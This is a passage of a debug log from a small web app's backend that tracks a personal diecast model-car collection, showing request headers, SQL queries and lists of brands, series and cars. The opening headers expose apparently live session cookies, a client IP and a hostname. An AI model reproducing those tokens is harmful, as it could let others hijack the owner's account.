    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AP1jlktr9Yj7k0BYHeakHTw%3D%3D.CMVIq7e2BMS%2BR0QPCT1%2B%2BkijsOVeqetjhIlYYf3CRTB6EIgEPcBgZK8K480mlbCi6W9bp2gJhogNLcL58wNei4%2BkPnWBo16Eiqa19tA2T6fVTpIfxDiLXOciJ24jcigrQX5wLUeSHMx2lFI%2BHbX2o5%2BFn1OhhiasA9cs8WynscM%3D.KYhZY34DEuhF7IlWu7wFZA89hCp7SCCq2j%2FS1cCovAg; your_r_git.sid=s%3A_tJF2Du4IosC1AXXWDNYaWDV5CS3IfgJ.ff8noBBbQ4aEF5igunTLAAYOFVAtX%2BRaey5jgrfLcIg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-01T05:59:36.505Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-01T05:59:36.509Z server-connect:router Serving serverConnect /api/diecast/list
2026-06-01T05:59:36.510Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-01T05:59:36.510Z server-connect:app Executing action step identify
2026-06-01T05:59:36.510Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:36.510Z server-connect:output identity: 1
2026-06-01T05:59:36.510Z server-connect:app Executing action step restrict
2026-06-01T05:59:36.510Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:36.511Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-01T05:59:36.512Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-06-01T05:59:36.512Z server-connect:app Executing action step identify
2026-06-01T05:59:36.512Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:36.512Z server-connect:output identity: 1
2026-06-01T05:59:36.513Z server-connect:app Executing action step restrict
2026-06-01T05:59:36.513Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:36.513Z server-connect:output restrict: undefined
2026-06-01T05:59:36.513Z server-connect:app Executing action step select
2026-06-01T05:59:36.513Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-01T05:59:36.514Z server-connect:output restrict: undefined
2026-06-01T05:59:36.514Z server-connect:app Executing action step paged
2026-06-01T05:59:36.514Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-06-01T05:59:36.516Z server-connect:app Executing action step identify
2026-06-01T05:59:36.516Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:36.516Z server-connect:output identity: 1
2026-06-01T05:59:36.517Z server-connect:app Executing action step restrict
2026-06-01T05:59:36.517Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:36.518Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-06-01T05:59:36.519Z server-connect:app Executing action step identify
2026-06-01T05:59:36.519Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:36.519Z server-connect:output identity: 1
2026-06-01T05:59:36.519Z server-connect:app Executing action step restrict
2026-06-01T05:59:36.519Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:36.519Z server-connect:app Executing action step identify
2026-06-01T05:59:36.519Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:36.519Z server-connect:output identity: 1
2026-06-01T05:59:36.519Z server-connect:app Executing action step restrict
2026-06-01T05:59:36.519Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:36.521Z server-connect:output restrict: undefined
2026-06-01T05:59:36.521Z server-connect:app Executing action step select
2026-06-01T05:59:36.521Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-01T05:59:36.522Z server-connect:output restrict: undefined
2026-06-01T05:59:36.523Z server-connect:app Executing action step select
2026-06-01T05:59:36.523Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-01T05:59:36.524Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-06-01T05:59:36.524Z server-connect:output restrict: undefined
2026-06-01T05:59:36.524Z server-connect:app Executing action step select
2026-06-01T05:59:36.524Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-01T05:59:38.275Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-06-01T05:59:38.279Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-06-01T05:59:38.279Z server-connect:app Executing action step select
2026-06-01T05:59:38.279Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-01T05:59:38.282Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-06-01T05:59:38.282Z server-connect:app Executing action step select
2026-06-01T05:59:38.282Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-01T05:59:38.284Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
